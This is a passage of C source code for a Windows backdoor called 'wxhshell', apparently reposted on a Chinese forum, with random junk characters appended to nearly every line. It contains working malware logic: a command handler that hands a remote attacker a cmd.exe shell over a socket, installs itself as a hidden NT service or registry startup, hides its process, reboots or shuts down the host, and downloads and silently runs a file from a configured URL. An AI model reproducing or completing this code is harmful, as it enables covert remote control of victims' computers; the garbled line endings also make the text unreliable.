      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tlQ3 BKp  
    break; P[?~KNS:/  
  } b;Pqq@P|g  
  // 安装 b,$H!V *  
  case 'i': { #ZRQVC;b;  
    if(Install()) QOcB ]G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)g7 E"  
    else >QU1_'1r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5L"{J5R}  
    break; g(>;Z@Y  
    } /H^=`[Mr  
  // 卸载 j{0_K +B  
  case 'r': { 8 POrD8B  
    if(Uninstall()) J,_I$* _0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $j)Er.!9|R  
    else a RC >pK.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |k{?\(h;  
    break; q4|TwRx~  
    } 0:@:cz=#*  
  // 显示 wxhshell 所在路径 .&T JSIx$  
  case 'p': { n Uz 2~z  
    char svExeFile[MAX_PATH]; @]Aul9.h  
    strcpy(svExeFile,"\n\r"); ;KWR/?ec  
      strcat(svExeFile,ExeFile); #&\^{Z  
        send(wsh,svExeFile,strlen(svExeFile),0); Gc<Jx|Q7  
    break; %XMrS lSOp  
    } ` Cdk b5  
  // 重启 CY? ]o4IV  
  case 'b': { [kMXr'TyPX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c1'OIK C  
    if(Boot(REBOOT)) <:W]uT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WhMr'l/e  
    else { #^" \WG7{  
    closesocket(wsh); E#URTt:&>  
    ExitThread(0); MP-A^QT  
    }  2(YZTaY  
    break; <=/v%VXPm  
    } #)AcK|*y  
  // 关机 #9,!IW]l  
  case 'd': { fJtJ2xi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .[? E1we  
    if(Boot(SHUTDOWN)) FZ6.<wN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=UiEDN@  
    else { Psp3~Kg  
    closesocket(wsh); ) **k3u t4  
    ExitThread(0); !Ui3}  
    } _Z~wpO}/  
    break; f9cS^v_:  
    } \O/EY&  
  // 获取shell 9TjAEeU  
  case 's': { pv~XZ(J.1  
    CmdShell(wsh); #r `hK)  
    closesocket(wsh); {d.`0v9h  
    ExitThread(0); |Vs|&0  
    break; Ua#*kTF  
  } =#[_8)q  
  // 退出 a\$PqOB!  
  case 'x': { wO@b=1j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;_R;P;<  
    CloseIt(wsh); 4xuL{z;\  
    break; ps[TiW{q;  
    } c2Ua!p(c  
  // 离开 w1F7gd  
  case 'q': { a5{CkM&,(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4f ~CG r  
    closesocket(wsh); KW+ps16~  
    WSACleanup(); Z'6 o$Xv  
    exit(1); W1f]A#t<  
    break; wb 2N$Ew=  
        } +^{;o0kcx  
  } M@UkXA}  
  } X&0m$x  
x2ln$dSy7  
  // 提示信息 BP6;dF5 E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ',n;ag`c  
} #.?DsK_:@  
  } s/0-DHd  
9aD6mp  
  return; ZalG/PFy  
} 1wmS?  
j 9XY%4.  
// shell模块句柄 =<s+cM  
int CmdShell(SOCKET sock) ,miU'<8tQ|  
{ ~O?Gi 4^Yg  
STARTUPINFO si; jb$sIZ%i  
ZeroMemory(&si,sizeof(si)); G1  %c<1Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #dE#w#=r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zh2$U dZ|M  
PROCESS_INFORMATION ProcessInfo; %}j.6'`{  
char cmdline[]="cmd"; =\e}fyuK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UTc$zc7  
  return 0; us\@n"  
} FjRJSMwO,  
;'!U/N;-  
// 自身启动模式 ;Jr6  
int StartFromService(void) d{0b*l%  
{ 2/sD#vC  
typedef struct m=Y9sB  
{ qEX2K^y'4"  
  DWORD ExitStatus; Yr-a8aSTE5  
  DWORD PebBaseAddress; 9G` 2t~%  
  DWORD AffinityMask; P5* :r3>  
  DWORD BasePriority; YYr &Jc j  
  ULONG UniqueProcessId; q<o*rcwf ^  
  ULONG InheritedFromUniqueProcessId; s+(%N8B  
}   PROCESS_BASIC_INFORMATION; fc._*y#AS  
MB" uJUk  
PROCNTQSIP NtQueryInformationProcess; B~^MhX +j  
91r9RG>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %/>\`d?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'C+z  
{/uBZ(   
  HANDLE             hProcess;  ^ 'FC.  
  PROCESS_BASIC_INFORMATION pbi; DalQ.   
m8n!<_NFt(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FXV=D_G}  
  if(NULL == hInst ) return 0; A^q= :ofQ  
2hEB?ZAQZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O_K@\<;~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \=Af AO@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D@uw[;Xb5  
`)\_  
  if (!NtQueryInformationProcess) return 0; Msn)jh  
>9a%"<(2#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Re5m  
  if(!hProcess) return 0; DBAJkBs  
>s1FTB-$W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 33J}AK^FE  
~'dnrhdme  
  CloseHandle(hProcess); yiQke   
LeO ))  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a({qc0+UK  
if(hProcess==NULL) return 0; o m`r^3,  
P{)H7B>  
HMODULE hMod; *U.$=4Az  
char procName[255]; $ ;>,  
unsigned long cbNeeded; J9)wt ?%j  
=vT3SY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n} GIf&  
:>nk63V (  
  CloseHandle(hProcess); ioi0^aM  
VxjEKc  
if(strstr(procName,"services")) return 1; // 以服务启动 1@yXVD/  
h#zx^F1  
  return 0; // 注册表启动 cx|[P6d  
} v|VY5vN  
EhEn|%S  
// 主模块 ABNsi$]r0  
int StartWxhshell(LPSTR lpCmdLine) -le:0NUwI  
{ mz1Xk ]nE  
  SOCKET wsl; ' :g8a=L  
BOOL val=TRUE; >ly= O  
  int port=0; j:"+/5rV8  
  struct sockaddr_in door; }!0,(<EsV  
nf,>l0,,'  
  if(wscfg.ws_autoins) Install(); yZHQql%J O  
aBr%"&Z.MG  
port=atoi(lpCmdLine); ,Ot3N\%yn  
H`-%)c=  
if(port<=0) port=wscfg.ws_port; BT 98WR"\  
t"2WJ-1k}  
  WSADATA data; bVtboHlY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4S  2I]d  
C+P}R]cT"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   86/CA[Y-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yZxgUF&`  
  door.sin_family = AF_INET; TMKemci  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mb\~WUWI  
  door.sin_port = htons(port); 9Vzk:zOT  
V?Lf& X?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [H0jDbN  
closesocket(wsl); qw%4j9}  
return 1; #Q 2$v;  
} L]9!-E  
aC]~   
  if(listen(wsl,2) == INVALID_SOCKET) { =)Ew6} W6  
closesocket(wsl); dT/Cn v=  
return 1; ~#I1!y~`  
} (d^pYPr{  
  Wxhshell(wsl); ~S|Vd  
  WSACleanup(); CEYHD?9k8  
m%ET!+  
return 0; &lBfW$PZjk  
|xQj2?_z*  
} {aGQ[MH\9  
1uB}Oe 2~  
// 以NT服务方式启动 Zdh4CNEeFP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kC|tv{g#>  
{ xw%?R=&L  
DWORD   status = 0; yu#Jw  
  DWORD   specificError = 0xfffffff; UT+\IzL  
Q;m .m2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x18ei@c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b44H2A .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >P\T nb"Q\  
  serviceStatus.dwWin32ExitCode     = 0; FX}<F0([?  
  serviceStatus.dwServiceSpecificExitCode = 0; '(2G qX!  
  serviceStatus.dwCheckPoint       = 0; |+!Jr_ By  
  serviceStatus.dwWaitHint       = 0; 4DuZF -y  
En5Bsz !  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L2{tof  
  if (hServiceStatusHandle==0) return; "~]9}KM}3W  
;a{ Dr  
status = GetLastError(); .vG6\U7  
  if (status!=NO_ERROR) Pl1:d{"d  
{ 8"oS1W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rxP^L(q0*  
    serviceStatus.dwCheckPoint       = 0; (~}l?k  
    serviceStatus.dwWaitHint       = 0; >:OOuf#  
    serviceStatus.dwWin32ExitCode     = status; N:L<ySJ7  
    serviceStatus.dwServiceSpecificExitCode = specificError; H@G7oK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p@cPm8L3  
    return; gP/]05$e  
  } 0>Mm |x*5  
>kC@7h5)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eWwSD#N#  
  serviceStatus.dwCheckPoint       = 0; @q^WD_k  
  serviceStatus.dwWaitHint       = 0; lJ7k4ua\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m?[F)<~a  
} y;<jE.7>  
s<<vHzm  
// 处理NT服务事件,比如:启动、停止 ReSP)%oW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k9}im  
{ tp5]n`3rD  
switch(fdwControl) Yn J=&21  
{ ?_HTOOa  
case SERVICE_CONTROL_STOP: !o*oT}6n  
  serviceStatus.dwWin32ExitCode = 0; j:<E=[Kl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i]Kq  
  serviceStatus.dwCheckPoint   = 0; [W^6=7EO  
  serviceStatus.dwWaitHint     = 0; )j6S<mn  
  { 5fVdtJk7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?:U6MjlQ"{  
  } oWXvkDN   
  return; v+Mt/8  
case SERVICE_CONTROL_PAUSE: : FxZdE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cG"jrQ  
  break; "G`)x+<~Z8  
case SERVICE_CONTROL_CONTINUE: vtL)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )}paQmy#  
  break; >Pv%E  
case SERVICE_CONTROL_INTERROGATE: <~:  g  
  break; @&,r|-  
}; "}PmAr e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "B+M5B0Z  
} .Ta$@sPh}  
bZ3CJ f&mE  
// 标准应用程序主函数 E"V|Plf c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =faV,o&{`  
{ 7Kh+m@q.  
tM@TT@.t~  
// 获取操作系统版本 pdtK3Pf  
OsIsNt=GetOsVer(); N4HnW0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q=96Ci_a  
C}+(L3Z  
  // 从命令行安装 jriliEz;f  
  if(strpbrk(lpCmdLine,"iI")) Install(); j4G,Z4  
Q%t8cJ L  
  // 下载执行文件 ;| \Ojuf  
if(wscfg.ws_downexe) { [k1N`K(M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [dt1%DD`M  
  WinExec(wscfg.ws_filenam,SW_HIDE); c&'T By  
} ]^ j)4us  
Dm4\Rld{  
if(!OsIsNt) { 8dL(cC  
// 如果时win9x,隐藏进程并且设置为注册表启动 !sR`]0  
HideProc(); E; RI.6y  
StartWxhshell(lpCmdLine); {a(YV\^y|H  
} D, 3x:nK  
else *7-uQKp  
  if(StartFromService()) (_-z m)F7  
  // 以服务方式启动 z` gR*+  
  StartServiceCtrlDispatcher(DispatchTable); B3I< $  
else C9bf1ddCW&  
  // 普通方式启动 nnr(\r~  
  StartWxhshell(lpCmdLine); kyY tL_SD  
N2~DxVJ5cT  
return 0; bNc=}^  
}
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只看该作者 1 发表于: 2006-10-10
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